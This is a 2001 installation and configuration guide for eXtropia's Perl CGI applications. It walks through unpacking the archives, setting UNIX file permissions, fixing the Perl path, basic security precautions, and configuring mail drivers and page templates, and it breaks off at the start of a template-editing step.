eXtropia ADT Guide

Version 2.0 Nov, 27 2001

by **eXtropia.com**
http://eXtropia.com

Master Copy URL: http://www.extropia.com/support/docs/adt/

(you will find a Table of Contents at the end of the Guide)

Your corrections of the technical and grammatical errors are very welcome. You are encouraged to help us improve this guide.

1 Introduction to eXtropia Applications

1.1 Overview

This is a guide to how eXtropia applications are installed, configured, and customized including issues related to web application security.

Since all the eXtropia applications follow a similar architecture, we thought it would be best to make a general guide and then reference that guide from all the application-specific guides (eg Guide to WebGuestBook) so that when you become familiar with the ‘‘eXtropia Way’’ of installing applications, you don’t have to keep reading the same documentation over and over and over again.

1.2 Acknowledgements, Incentives, and Credits

eXtropia applications are open source applications (http://www.extropia.com/open_source_case_study.html). As such, the applications we’ve written are not just the result of a single group of people at eXtropia -- rather we rely on the entire open source community for feedback on both the code and the documentation.

The Further References chapter at the end of this guide acknowledges some of the people who have helped make this guide and the software that it describes possible. Right off the bat, we simply have to acknowledge Stas Bekman’s Documentation Creation generator for creating the HTML and PDF version of this documentation from a simple set of POD files!

1.3 How To Read This Guide

There’s a lot to this guide. It’s over 100 pages long in its PDF form. As such, we don’t necessarily expect you to wade through the entire thing.

Basically, we wrote the guide in the most verbose manner possible so that all the information you need could be provided in one place. However, with that in mind, here are the various ways we would expect you to read this documentation based on your profile. Note that you may actually fall into more than one profile, so we’ll leave it up to your best judgement.

- **Beginner at CGI and at eXtropia Scripts**

  Read the whole thing! :)

  Actually, we suggest you read the Installation section thoroughly. Then, give yourself a well-deserved break.

  At this point, attempt installing the application. Try to get it working. If it does not work, then go on to read the Debugging section.

  Then, once the application is up and running, you will be ready for customization. So read the customization section. Don’t worry if you don’t understand it all. Few people need to change more than a few items in the application configuration to run the script successfully.

If you want to change the look-and-feel of the application after it is working the way you want it to, read the look-and-feel chapter. In addition, the Configuration-By-Example chapter contains specific scenarios of common changes that you may wish to make to the eXtropia application that you are configuring.

Finally, before making the application live, read the security chapter. Web applications are open to ANYONE on the internet. Therefore you should be aware of the security ramifications of opening up your data in this manner.

- **Beginner at eXtropia but Intermediate at CGI**

  In this case, follow the beginner's guide we just talked about, but feel free to skim the other stuff. The only thing we would ask you not to skim is the security chapter. Although you know CGI, there may be some things in the security section that you may not have learned yet-- especially as concerns eXtropia applications.

  Better safe than sorry... always read the security section.

- **Intermediate at eXtropia and Expert in CGI**

  You don't really need to read this guide at all! Well, actually, we suggest you at least read the changes section of the guide in the Further References appendix to see if there are any new security issues or configuration enhancements that have been addressed since the last time you read this.

- **Expert at Everything**

  You should have helped us out by writing this guide!

  Actually, this brings up a very good point. If you do find something wrong with the guide or can help us improve the writing or clarity of a section, feel free to let us know at info@extropia.com. We'll also include your name in the Acknowledgements section of the Further References chapter.

;o)

2 Installation

2.1 Introduction

To install and customize CGI applications requires that you have some basic knowledge of how CGI works. Although this is a huge topic that is covered well in many books, we will cover the fundamentals here as they apply to using this application.

As a supplement, we also provide a host of free online tutorials that are meant to be accessible to beginners. These tutorials cover the basics of web application development and can be found at the following URL:

http://www.extropia.com/tutorials.html

The fact is that even if you hire someone else to install your applications or fix your problems, you will still need a basic understanding of what is going on just to explain to someone what your problem is or what you want your application to do.

Please take some time to get the basics down. In the long run it will save you a great deal of time.

2.2 The 12-Step CheckList

The process of installing and customizing a CGI/Perl application can be broken down into an easy-to-follow checklist of 12 items.

Here is what you'll need to do.

1. Prepare your web account for running CGI applications.

2. Obtain (download) application installation file.

3. Unpack the application installation file on your web server.

4. Set the permissions correctly for application files and directories.

5. Modify the Perl path line.

6. Configure the application.

7. Modify the look-and-feel.

8. Run the application from the web.

9. Debug the application if any debugging is required.

10. Review the security of the script.

11. Submit the application for user testing.

12. Register yourself as a user with the application author so that you will receive important email updates such as bug reports, security alerts, and new version announcements

Let’s go over each of these points in greater detail.

2.3 Step One: Prepare Your Site

Before you even download a CGI application for your website, there are several things you must do in order to make sure that you will be able to use the downloaded CGI application.

Specifically, you must:

1. Make sure that the web server environment is configured to permit the use of CGI applications

2. Make sure that you understand the site-specific features of that configuration. How have your system administrators configured CGI functionality differently from other web sites?

The quickest way to make sure that your web server is configured to permit CGI applications is to send an email to your administrator or check the documentation that your Internet Service Provider (ISP) should provide.

Generally, your web server system administrator will respond by telling you that CGI applications are allowed, but that they may only be installed in a special directory such as cgi-bin.

> **NOTE: If the system administrator says that CGI applications are not allowed, then you cannot run CGI applications. In this case, we recommend that you change to an ISP that allows you to run CGI applications.**
>
> **NOTE: If you run the CGI application using a web browser and you get the code of the application printed out to the browser window, or if the browser application prompts you to download the "unknown file", then it is likely that the web server is not recognizing your CGI application or that it is not allowing it to execute. This is a problem that your system administrator must address.**

cgi-bin (or a similarly-named directory) is a directory used to store ‘‘executable’’ CGI applications. Keeping CGI applications limited to specific directories is advisable since CGI applications may open security holes. Therefore, most system administrators allow only files inside of a special directory such as cgi-bin to be executed. Keeping all the CGI applications in one place does not solve the problem of security, but it does keep all the suspect applications in one manageable area.

The system administrator may also tell you that all CGI applications are run through a CGI wrapper. CGI wrappers add another degree of security, but can make installation a little more difficult.

There are several CGI wrapper products available on the web (such as CGIWrap available at http://www.unixtools.org/cgiwrap/) and many large ISPs use them. All our applications work in conjunction with CGI wrappers but sometimes, installation may require some futzing around. Typically, this will involve changing the lines that define file and directory locations because one of the things that CGI wrappers do is to modify what the web server sees as the root directory on a file system. In order to find out

what the real path a CGI application runs on when passed through a wrapper, you should contact your system administrator.

Finally, the system administrator may tell you that you need to register the CGI executable directory and/or CGI application by either running a special CGI registration program, or by adding a special security access file (such as .htaccess) to the directory where the application is installed.

All of these factors will be specific to the web server that you are using. Each system administrator will have her own way of setting up CGI on the web server. Thus, there is no way to create an application configuration that will run on your site by default.

Unfortunately, you are going to need to do some site-specific investigation and modify the relevant configuration parameters in the distribution files for an application to work on your site.

To make the process of investigating your local web server configuration easier and because we understand that you may not know exactly which questions you need to ask, we have provided a sample letter that you can send to your system administrator. This letter should get you the information you need.

```
Dear system administrator,

I would like to run a pre-written, open source CGI application on
my website. My website URL is __________ (eg. http://www.mydomain.com/).
My home directory is_______________ (eg. /usr/home/....)
I downloaded the application from http://www.extropia.com/. The
application name is _________________. I have attached the application
to this email in case you want to review it.

[Dont forget to attach the downloaded distribution TAR/GZ file]

Please answer the following questions so that I may continue with this
installation:

1.  What web server software are you running? (eg. Apache, NCSA,
    Netscape, IIS)
2.  What platform is the web server running on? (eg. LINUX, Solaris,
    Windows NT)
3.  What is the path to the Perl 5 interpreter? (eg. /usr/local/bin/perl)
4.  What is the path to an Internet mail program that I may use for CGI
    applications? (eg. /usr/sbin/sendmail or C:/Mail/Blat/blat.exe)
5.  Is your web server using a CGI wrapper? If so, how can I access the
    documentation for the wrapper? Also, are there any special problems
    reported by other users with using this CGI wrapper? How does the
    wrapper affect how CGI applications see the file system?
6.  Can I get access to the server logs in order to check for CGI errors
    and/or hack attempts? If so, what do I need to do?
7.  Do CGI applications need to be stored in specific directories? If
    so, what must I do to create or use such a directory? (eg. directory
    name, permissions, etc...)
8.  Do I need to register my CGI application with the web server? (eg.
    .htaccess file)
9.  Is there anything else I should know about the environment, especially
    where it affects security and scalability? (eg. use of Mod Perl, FastCGI,
    Server Side Includes or backend database availability etc...)
10. Is there a relational database that I may use to store my data? If
    so, what drivers/modules should I use to connect to it and how can
    I create new tables?
11. I would like to make sure that client data remains confidential.
    Hence, I might require the use of encryption such as PGP. Can you
    point me towards documentation on the local encryption resources
    that I may use?
12. What is the site backup policy? If any of my files are corrupted,
    how can I rollback to the right versions?
13. In which directories are the standard Perl modules located so that
    I can find out which I may use. If I require additional modules,
    how can I install them?

Thank you very much,
            [Your Name Here]
```

Building a good relationship with your system administrator will make both your lives easier. A fluid communication flow will help build trust and assure that you get support when you need it.

2.4 Step Two: Obtain an Installation File

Once you have worked out all the specifics of your web server configuration, you can go ahead and download the application. To do so, you can go to any number of excellent CGI storehouses, many of which contain free pre-written applications that you can use. If you need help finding these sites, check out the Offsite Resources Page at the following URL:

http://www.extropia.com/support/offsitesupport.html

You can, of course, download any eXtropia applications from the eXtropia website:

http://www.extropia.com/applications.html

2.5 Step Three: Unpack The Installation File

All eXtropia applications are distributed as TAR/GZ files called *app_name.tar.gz* (such as *address-book.tar.gz*). TAR is a UNIX command that allows you to create a single archive file containing many files. Such archiving allows you to maintain directory relationships and facilitates transferring complex programs with many separate but integrated parts that must have their relationships preserved. TAR has a motley of options that allow you to do archiving and unpacking in many ways. However, for the purpose of unpacking eXtropia applications, the commands will be fairly simple.

2.5.1 Unpacking on UNIX

Preferably, you can transfer the TAR file directly to your web server and expand it there. If your web server is UNIX-based, you can expand the file with the following command

```
tar xvfpz file_name.tar.gz
```

or

```
tar xvfz file_name.tar.gz (if "p" won’t work)
```

If the file is not .tar.gz, use:

```
tar xvfp file_name.tar
```

or

```
tar xvf file_name.tar (if "p" won’t work)
```

TAR will go through the archive file and extract each individual directory and file, expanding them into their appropriate places beneath the current directory.

If tar xvfz did not work for you, try:

```
    gunzip file_name.tar.gz (removes the .gz and decompresses)
```

Then:

```
    tar xvfp file_name.tar
or

    tar xvf file_name.tar (if "p" won't work)
```

NOTE: The "xvfp" letters in the TAR command above are parameters that instruct the program to extract the files and directories out of the ".tar" file.

```
    Tar Extraction Parameters
    Parameter   Description
    x           Tells tar to extract the files.
    v           Tells tar to output information about the status of
                its extraction while it is performing the work.
    f           Informs tar to use the ".tar" filename as the source
                of the files to be extracted. The reason the "f"
                parameter has to be used is that tar, by default,
                archives files and directories to a tape
                drive. TAR is actually short for "[T]ape [AR]chive".
    p           Notes that the original permissions should be maintained.
    z           UnZips the original file and removes .gz
```

When you perform unarchiving, the TAR file will expand into the intended directory structure. You can then edit the files necessary to complete the installation directly on your web server machine.

As we said earlier, it is preferable to expand and edit the application on the web server itself. However, you can also expand and edit the application files on your local workstation and then FTP the individual files to the web server. This is explained in the next section. If you do so however, you must make sure to transfer the unarchived files in ASCII mode.

2.5.2 Unpacking on Windows and Macintosh

If you are not using a UNIX-based web server, or don't have command line access (such as TELNET) to your UNIX-based web server, you will probably be using Winzip (Windows) or Stuffit Expander (Mac) to expand the TAR file. This will also work with any .tar.gz file without problems.

You'll also use some text editor to edit the application files. If you are looking for a good text editor, we recommend Programmer's File Editor (PFE) or Super Note Tab that are both available at http://www.shareware.com/ for Windows. SimpleText and ClarisWorks are good editors for Mac. And, vi,

emacs or pico are good editors for UNIX.

If you use a Windows-based text editor however, you need to be very careful about accidentally inserting platform-specific, invisible control characters (like carriage return characters) into the files. If you are editing the files on a Windows box, this is often a problem because Windows programs are well-known for their desire to insert Windows-only characters into files.

You will know that invisible characters have infected the files if you get a 500 Server Error when trying to run the application from the web, and error messages like the following if you run the application from the command line:

```
Illegal character \015 (carriage return) at
app_name.cgi line 2.
```

or

```
Can't find string terminator " [some text here]"
anywhere before EOF
```

Generally, this problem can be solved either by choosing a text editor that does not insert the characters or by setting your FTP program to upload edited files to the web server machine using ''ASCII mode'' instead of ''BINARY mode''. You should be able to set the FTP program to transfer in ASCII mode using the program's preferences. We recommend using WS_FTP that has this functionality and is available at http://www.shareware.com/.

> **Note: The editors that come with windows such as notepad and wordpad typically create files that contain hard carriage returns (\r) characters. As mentioned before, there are other editors you can download to edit program files. However, even with these you may need to do some reconfiguration.**
>
> **For example, with PFE (Programmer's File Editor), when you open an application file, you should see the word "UNIX" in the 8th box to the right on the status bar of PFE. If it says DOS, then you are in DOS mode and must be changed. This can be done by going into the Options/Current Modes menu item. Then select the Saving configuration parameter and click the "Use UNIX Conventions" on.**

However, if the files have already been sent over to a UNIX-based web server, you can strip bad characters using:

```
$ perl -pi.old -e 's/\r//g' filename
```

To make the strip process recursive, combine it with the find command like so:

```
$ find . -name *.pm -exec perl -pi.old -e 's/\r//g' {} ";"
```

This command renames the original files to the original name plus .old, (eg. mlm.cgi.old). To get rid of these files (once you've checked that the new ones work), you can use another find command:

```
$ find . -name *.old -exec rm {} ";"
```

WARNING: As you might imagine, doing recursive, mass deletes is quite a dangerous thing to do. It is much better to solve the bad character problem using one of the other techniques.

2.5.3 What You Get When You Have Unpacked The Application

Unpacking will yield a fairly deep directory tree of application and application support files. All eXtropia applications are distributed using a standard directory structure as shown below:

```
app_root/ (eg. mlm)
    app_name.cgi (eg. mlm.cgi)
    HTMLTemplates/
        Default/
            AuthManager/
                CGI/
                    LogonScreen.ttml
                    ...
            BasicDBTable.ttml
            CSSView.ttml
            ...
        AppName/ (e.g. MLM)
            SomeView1.ttml (e.g. MLMTOCView.ttml)
            SomeView2.ttml (e.g. MLMFindRecordFormView.ttml)
    ActionHandler/
        Default/
        AppName/ (e.g. MLM)
        Plugin/ (optional)
            AppName/ (e.g. MLM)
    Datafiles/
        TemplatesCache/
        Sessions/
        AppName/ (e.g. MLM)
    Modules/
        CPAN/
            CPAN modules that we distribute within
        Extropia/
            There are a whole heck of eXtropia modules.
```

Let's take a look at each of the major areas of this directory structure.

The Application Executable: app_name.cgi

app_name.cgi (eg. *webdb.cgi*) is the application executable that defines the configuration variables used to modify how the application will run. You must modify this file if you want to change the default behavior of the application. We will discuss how to modify this file in greater detail in Step Six: Configuring the Application.

You should be clear that there is no application logic in this file and very little ’programming-like’ things to worry about. The file is really just for configuring the app and launching it from the web.

The HTMLTemplates Directory

All application views are defined as templates such as *HTMLTemplates/HTMLTemplates/Appname/TemplateName.ttml* (e.g. *HTMLTemplates/MLM/MLMTOCView.ttml*). Every template may include a number of other templates.

If the application doesn’t provide its specific template, the default one from the *HTMLTemplates/Default/* directory is served instead.

For example here are some of the templates:

- **ErrorDisplayView.ttml**

  Defines standard error handling displays for applications.

- **PageBottomView.ttml**

  Defines the bottom of every page.

- **PageTopView.ttml**

  Defines the top of every page.

The Datafiles Directory

The *Datafiles* directory contains files that the application needs to write to and read from. The following files automatically created on the first use of the application.

```
Datafiles/AppName/app_name.count.dat
Datafiles/AppName/app_name.log
Datafiles/AppName/app_name.users.dat
Datafiles/AppName/app_name.dat
```

- **app_name.count.dat**

  This file is used to assure unique row identification in file-based data sources. This file will typically contain a single number that corresponds to the last unique row id in the app_name.dat file. Note that if you modify the application executable to use a Datasource other than DataSource::File, you may not need this file. Note also that if the file is not included in the installation by default, it will be created automatically the first time the application requires it.

- **app_name.log**

  This file contains log entries covering application usage. Note that if the file is not included in the installation by default, it will be created automatically the first time the application requires it.

- **app_name.users.dat**

  This file records all authorized users if the application uses authentication.

  The fields in this data file will be specified by the authentication data source configuration in the application executable. Well show you how this is done later in this chapter. Note that if the file is not included in the installation by default, it will be created automatically the first time the application requires it. Note that if you use an authentication driver other than File (such as LDAP), you may not require this file.

- **app_name.dat**

  This file stores data for applications that use file-based data sources.

  As we will discuss later in this chapter, all eXtropia applications use *Extropia::File*-based data sources because they are the most easy to use and the most cross-platform. Thus, every application that requires a data source will have an app_name.dat (eg. webguestbook.dat). However, if you use a DataSource other than File (such as DBI that allows integration with standard RDBMS systems such as Oracle, Sybase, or SQL Server), you may not require this file.

  The fields that a data source contains will be specified in the data source setup section of the application executable. We will discuss this in much greater detail later. Note that if the file is not included in the installation by default, it will be created automatically the first time the application requires it.

The *Datafiles/TemplatesCache/* directory is used for cached templates. The *Datafiles/Sessions/* directory is used for session files.

You won't really ever need to modify the files in this directory as the application will do it automatically. Unfortunately, however, you will have to make the files and directory writable so that the web server may write data on demand.

WARNING: We recommend that you move the Datafiles directory out of your web documents tree to an area on the file system to which web browsers do not have access. This will help protect sensitive data that may be potentially stored in these files. Do this:

1. **From the prompt: $mv Datafiles /path/to/your/home/**

2. **In app_name.cgi, change $GLOBAL_DATAFILES_DIRECTORY to /path/to/your/home/Datafiles this is an absolute path. Do not confuse it with a relative path.**

The Modules Directory

The Modules directory contains the eXtropia and supporting modules used by the application executable and the application object. You usually will not modify the files in this directory. The directory, and all the files and subdirectories it contains, are provided as tools for the application objects.

It is unlikely that you will ever have to open these files. However, if you do, you should consult the documentation for each module individually.

The ActionHandler Directory

The ActionHandler directory includes the default (*Default*) and application specific action handlers, which are invoked during request processing and some of them prepare the data that is then served by the templates. Usually you shouldn't mess with these, unless you want to adjust the core functionality of the application.

For some applications, there is *ActionHandler/Plugin* directory which includes plugins, which are similar to actionhandlers in functionality, but reused by many action handlers. Think of these as a collection of re-usable functions. If you change the data structures used by the application, they are the second place to adjust after the application itself.

2.6 Step Four: Assign File Permissions

Expanding the archive file is only one part of the equation of installing a CGI application and getting it to actually run. Frequently, the web server needs to be given special permission to run your applications and have the applications perform their job with the appropriate rights. (Only the case for UNIX-based web servers)

The cardinal rule for setting up web server software is that the server should be given only minimal capabilities. More often than not, it means the web server is run as a user that has no rights to do anything significant -- the user ‘‘nobody’’. By default, ‘‘nobody’’ usually does not have permission to read any files in directories that you create. However, when you download applications, you must make sure that the applications can be read and executed by the web server software. In other words, ‘‘nobody’’ or more correctly ‘‘anybody’’, has to be able to get to the files.

In UNIX, the magic command for performing this task is ‘‘chmod’’, that is explained in detail in the Customization and Installation FAQ at the following URL:

http://www.extropia.com/support/faq/

However, the following chart is provided here as a quick reference.

```
PERMISSION      COMMAND              NOTES
U   G   W
rwx rwx rwx  chmod 777 filename    Used only for directories that must
                                   contain writable files.  Use only with
                                   extreme care.
rwx rwx r-x  chmod 775 filename    Appropriate for executable files and
                                   directories being edited by you or
                                   members of your work group.
rwx r-x r-x  chmod 755 filename    Appropriate for executable files and
                                   directories being edited only by you.
r-x r-x r-x  chmod 555 filename    Appropriate for production executables and
                                   directories.
rw- rw- rw-  chmod 666 filename    Used only for files that must be
                                   writable. Use only with extreme care.
rw- rw- r--  chmod 664 filename    Used for files being edited by you or by
                                   members of your working group.
rw- r-- r--  chmod 644 filename    Used for files being edited only by you.
r-- r-- r--  chmod 444 filename    Used for non-executable production files

U = User
G = Group
W = World

r = Readable
w = writable
x = executable
- = no permission:
```

WARNING: You may be tempted to simply use chmod 777 on all the files and directories since that assures the web server can do anything with the files. However, it is strongly advised that you do not leave the files in this state.

It is considered a major security risk to leave your applications open to changes by the web server instead of being execute-only. Anyone on the server could use another rogue CGI application to write over your applications and make them do something completely different.

There is still a risk involved in making the data directory writable, but at least if someone is going to be messing with your area, they will only destroy a bit of data and not your main programs.

It is "OK" to set the applications to 777 if you are troubleshooting a problem and want to rule out permissions entirely, but do not leave the applications like this.

On another security note, if you are really concerned with the security of your data, please do not use a shared server where other people can write CGI applications using the same web server configuration. It is much better to use your own server software or purchase space on a "virtual server" which may be shared, but is set up in such a way that each user's applications are shielded from each other.

At the very least, you should move data files out of the web document tree and use the Extropia::Encrypt module to encrypt your data files. Further, if you can run the web server as a particular user, change ownership of all the files to the account of the

webserver to restrict permissions even further. That is, writable directories need only be chmod 700 instead of 777.

We recommend that after you initially test the application that you move all non script files out of your cgi-bin. Do this such that:

- **Datafiles is outside your web tree. You must change $GLOBAL_DATAFILES_DIRECTORYto match the ABSOLUTE path on your system. So if you are at: /home/you/Datafiles, that's what you put in your CGI. Do not confuse this path with your URL. They are not the same. No one should be able to access your Data with a URL. Ask your system administrator if you are having difficulty. This makes it difficult for crackers and hackers to casually steal your data.**

- **Move Images outside into an appropriate web directory so that your relative path from the webserver looks like '/Images/Extropia' and the URL called is "http://www.yourserver.com/Images/Extropia".**

  Finally, ask your systems administrator to double check your installation.

  NOTE: Not setting your permissions correctly is the number one reason why installations fail. Take time to get this right.

The actual permissions required for the subdirectories and files used by this application are shown below:

```
PERMISSION      COMMAND              NOTES
U   G   W
rwx rwx rwx  chmod 777 filename    Use only to test. Rarely required for Datafiles.
rwx rwx r-x  chmod 775 filename    Used for all directories (other than the
                                   Datafiles directory) and for the
                                   application executable.
rwx r-x r-x  chmod 755 filename    Suitable for most applications.
rw- rw- rw-  chmod 666 filename    Never use this.
rwx r-- r--  chmod 744 filename    Used for files that you can change,
                                   but anyone else can read.
```

An example of how to use the chmod command appears in the following figure:

[IMAGE]

NOTE: If you are looking to modify the entire directory structure in one go, you might try the following commands from the UNIX shell prompt:

```
$ chmod -R 444 *
$ find . -type d | xargs chmod a+x
$ find . -name *.cgi | xargs chmod a+x
$ find . -name "Datafiles*" | xargs chmod a+w
```

NOTE: If it is at all possible to restrict permissions you are advised to do so. For example, if the web server runs as a particular user, only that user should be given permission to use the files.

2.7 Step Five: Modify The Perl Path Line

After you have placed all the files on the web server machine, you are almost ready to try out the application. However, before you can run the application you must make a special type of modification: Changing system path values.

CGI applications written in Perl usually contain a magic first line that expects to find the Perl interpreter in a particular directory. In addition, some CGI applications may expect external programs such as Sendmail to be located in a certain location on the server.

Most of the time, the default references to these locations will be correct, because most servers are set up in a standard way. However, you may run across a situation in which the external supporting programs used by the applications are not where they are expected to be. One of the first steps in setting up applications is to figure out the location of these files so that the applications can be modified to reflect the new file locations.

The classic example of a reference to an absolute path is the reference to the location of the Perl interpreter on the first line of the application executable (files that end in the extension .cgi):

```
#!/usr/bin/perl
```

NOTE: When we say 'first line', we really mean first line. You must not have any other lines (including blank ones) before this command or you will get an error.

This line instructs the server to run the ensuing application through the Perl interpreter and indicates where to find the Perl interpreter. The Perl interpreter is a program that reads your application and translates it into a form that your server can run. In the preceding example, the server will expect to find the Perl interpreter in the directory */usr/bin*.

Although many servers contain Perl in */usr/bin*, others may have installed it in other areas, such as */usr/local/bin*, */opt/bin*, or */usr/sbin*.

If Perl is not in */usr/bin*, your first bit of customizing is to find out where your local copy of Perl is, and using a text editor, change this line to reference the correct location.

Besides asking your system administrator, there are several ways of finding files on your system.

If you are using a UNIX-based web server, the best command to try is ''which''. At the command prompt of your UNIX server, you type which perl and receive the following reply:

```
$ which perl
/bin/perl
```

In other words, Perl is located in */bin* on this system. Thus, you will need to change the first line of your application to the following:

```
#!/bin/perl
```

For Windows or Mac web servers you can just email your system administrator to get the right path for Perl or, if you have access, use the operating system find feature.

> **NOTE: If you find that Perl is not installed or if a version of Perl older than 5.003 is installed, you will need to ask your system administrator to download Perl from http://www.perl.com/ and install it.**

2.8 Step Six: Customize The Application

Based on the experiences we have had with other readers, we imagine that you have gotten this far without hitch and that you are excited to move on. However, we recommend that you dont start customizing yet!

It may very well be that if your ISP is configured in a similar enough way to the one used by eXtropia, that you could actually run the application now!

So instead of trudging on, why not skip ahead to Step Eight: Running the Application and try it out? If you get errors, then you'll have to return to this step and work through them. But hopefully, the applications will fit nicely into your environment.

However, even if it does work, at some point, you will want to return to configure the application to work in a way unique to your needs.

To do that, you will need to configure/customize the application. Because the process of customization can be quite overwhelming at first, we have separated out the discussion into a separate chapter on Customizing eXtropia applications.

2.9 Step Seven: Modify The Application Look-And-Feel

Modifying the look-and-feel of the applicaiton can be as simple as modifying the view parameters discussed in the section on customization or as complex as writing new view files.

Whichever the case, you should read the look-and-feel section of this documentation for more information.

2.10 Step Eight: Run The Application

If all goes well, you should be ready to run the application. Try it out by pointing your web browser at the application on your web server with a URL such as the following:

http://www.mydomain.com/cgi-bin/app_name.cgi.

Hopefully the application will load just fine. If it does not, perhaps the following list will help you identify the problem.

Error Message	Diagnosis
Not Found	You probably have the URL wrong and the web server cannot find the application.
Server Error	90% of all users will have gotten their permissions wrong. Are you sure you got them right? Go back to Step 4. Another 5% will have gotten the Perl path adjustment i wrong. Go back to Step 5 and check that you are not in that group. Another 4% will have introduced an error into the application executable (eg. webguestbook.cgi) while editing it. Go back to Step 6. The final 1% will have a genuine web gremlin at work. If you are sure that you are part of this group, try posting the problem to the free discussion forum at http://www.extropia.com/support/bbs.html
Script displays as text in the application's browser window.	The web server is not set up correctly to execute CGI
The browser pops up a 'Save applications As' dialog complaining about unknown application file type.	The web server is not set up correctly to execute CGI

Note that you might also try running the application from the command line if you have shell access to the web server.

2.11 Step Nine: Debugging The Application

Hopefully, your application will work just fine. If not, you are going to have to do some debugging. The debug section of this guide has some useful tips that will help you debug the problem.

2.12 Step Ten: Application Security

Security is paramount. *Please read security section of this guide before you make any application public!!*

2.13 Step Eleven: Test The Application

Finally, you should submit the application to thorough testing by a selected group of beta users. Testing is covered in Chapter 2 so we will only add is a checklist of typical debugging problems that you might run across with eXtropia applications in particular:

2.13.1 Does the application send email?

By default, eXtropia applications tend to disable emailing by default because of compatibility issues. Generally, we leave it up to you to configure mail in the application executable (eg. webdb.cgi) after you get it working. You may have to configure a different email driver for your application.

2.13.2 Do all the templates display?

Are the files in the Datafiles directory being updated (such as the data file, counter file, or users file)?

2.13.3 Can you input 'bad' data into the forms?

Try entering invalid emails for example.

2.14 Step Twelve: Register The Application

You should also register with eXtropia so that we will be able to send you bug fixes and security announcements. To register, simply send an email to register@extropia.com.

;o)

3 Configuration By Example

3.1 Overview

So far we have focused on getting the default application to run in your local web server environment. We have also presented a general list of configurable elements of the application such as data handlers, data sources, and mailers.

However, there is a good chance that you feel all dressed up with nowhere to go. It has been our experience that it is hard to really give users the intuition necessary to personalize the applications without actually having them get their hands dirty and play around with the code.

So in this section, we'll demonstrate by example how you can begin to leverage the power of the generic application to create your own unique instances. Specifically, we will demonstrate a few modifications that we hope will help give you the intuition necessary to configure the application more dramatically. These modifications include the following:

1. **Change the mailing configuration.**
2. **Modify the look-and-feel.**
3. **Add a new field**

3.2 Configuration Example 1: Mailing Configuration

Perhaps the first thing that any application administrator will want to do is to enable mailing in the default installation. As we said earlier, we have disabled mailing in all the applications by default because the usage of mail tends to be extremely site-specific.

As a result, if you want to enable mail, you must perform a few modifications.

Specifically, enabling mail involves four steps:

1. **Configure a mail driver.**
2. **Personalize the mail send parameters.**
3. **Change the email body views.**
4. **Turn on the mailing flags.**

3.2.1 Step 1: Configure a Mail Driver

In order to actually send an email, you must specify a mail driver that works on your system. Fortunately, there are *Extropia::Mail* drivers for just about any platform one could run a web server on.

Nevertheless, most users will choose one of the drivers in the following table.

Platform	Recommended Driver
UNIX	Mail::Sendmail or Mail::MailSender
Windows	Mail::Blat, Mail::NTSendmail or Mail::MailSender
Macintosh	Mail::MailSender

Configuring a mail driver is simple. All you must do is to modify `@MAIL_CONFIG_PARAMS` with the driver-specific parameters for whatever *Extropia::Mail* driver you want to use.

For example, to use *Mail::Sendmail*, you would use something like:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE              => 'Sendmail',
    -MAIL_PROGRAM_PATH => '/usr/bin/sendmail'
);
```

Likewise, to use *Mail::MailSender* you would use a configuration like the following:

```
my @MAIL_CONFIG_PARAMS = (
    -TYPE         => 'MailSender',
    -SMTP_ADDRESS => '10.0.0.10'
);
```

Note that each driver will have its own set of parameters. This will be the case for almost every configuration parameter defined by the application. To find out what these parameters are, consult the eXtropia Application Development Toolkit Guide described in the Further References chapter.

3.2.2 Step 2: Change the Send Params

Once the mail driver is configured, you must modify the mail send parameters. Specifically, you will want to specify email addresses specific to your site. By default, the send parameters are configured like so:

```
my @XXX_EVENT_MAIL_SEND_PARAMS = (
    -FROM     => 'you@yourdomain.com',
    -TO       => 'you@yourdomain.com',
    -REPLY_TO => 'you@yourdomain.com',
    -SUBJECT  => 'WebDB Delete'
);
```

```
[....mail send parameter definitions for any other mail events
such as additions or deletions....]
```

Notice that there is one send parameter defined for each type of mail that the application sends. Thus, in an application that supports deleting, in order to configure the mail that is sent to the administrator whenever someone deletes a record, you would edit @DELETE_EVENT_MAIL_SEND_PARAMS.

To modify the parameters, simply change you@yourdomain.com to the actual email address that you wish to use. You might also take the opportunity to modify the subject as well.

Note that the `-TO`, `-CC`, and `-BCC` parameters may accept either a single email address or a reference to an array of multiple email addresses such as in the following example.

```
my @ADMIN_RECEIPT_SEND_PARAMS = (
    -FROM     => $CGI->param('email'),
    -TO       => [qw(you@yourdomain.com me@mydomain.com)],
    -CC       => 'you@yourdomain.com',
    -BCC      => 'you@yourdomain.com',
    -REPLY_TO => $CGI->param('email'),
    -SUBJECT  => 'Web Responder Entry'
);
```

3.2.3 Step 3: Change the Email Body Views

The bodies of the emails sent out are actually defined as templates located in the *HTMLTemplates* directory.

Typically, there will be one email view per email that is generated by the application. The applications can use the default email templates:

- **AddEventEmailView.ttml**

  Defines the contents of the body sent in the email to the administrator if the application is configured to send an email when a new record has been added.

- **ModifyEventEmailView.ttml**

  Defines the contents of the body sent in the email to the administrator if the application is configured to send an email when a record is modified.

- **DeleteEventEmailView.ttml**

  Defines the contents of the body sent in the email to the administrator if the application is configured to send an email when a record is deleted.

Modifying the contents of one of these views is fairly straightforward. Since it's an email template, all you have to change is the plain text. If you want to change the template logic, please refer to the template toolkit manual.

3.2.4 Step 4: Turn on the Mailing Flags

Finally, in order to actually enable mailing, you must explicitly turn on the feature by editing `@APPLICATION_CONFIG_PARAMS` such as demonstrated below:

```
my @ACTION_HANDLER_ACTION_PARAMS = (
    [...lots of other application configuration parameters...]
    -SEND_EMAIL_ON_DELETE_FLAG     => 1,
    -SEND_EMAIL_ON_MODIFY_FLAG     => 1,
    -SEND_EMAIL_ON_ADD_FLAG        => 1,
    [...lots of other application configuration parameters...]
);
```

Note that for a configuration option such as those shown above a value of ‘‘1’’ turns on the feature and a value of ‘‘0’’ turns it off.

3.3 Configuration Example 2: Modifying the Look-and-Feel

One of the first things any new application administrator will want to do is to change the look-and-feel so that the application will blend into an existing site.

Let’s do that.

NOTE: Before you get too far into this, you should take some time to read the section on modifying the look-and-feel earlier in this guide as there are lots of configuration gems in that section that you really should know about if you are to extract the most out of this section.

In this example, we will take the application, remove it from its default HTML frameset so that the application uses only one frame, and wrap the form in a hypothetical site look-and-feel.

The following figure illustrates the way the application looks *before* the change.

[IMAGE]

To do so, we must do the following:

1. **Modify the display() method of PageTopView.ttml.**
2. **Modify the display() method in PageBottomView.ttml**
3. **Modify the view parameters.**
4. **Modify the default view name.**
5. **Optionally modify the @VALID_VIEWS array.**

Once you have completed these steps, the display of the application should change to the following look:

[IMAGE]

3.3.1 Step 1: Modify PageTopView.ttml

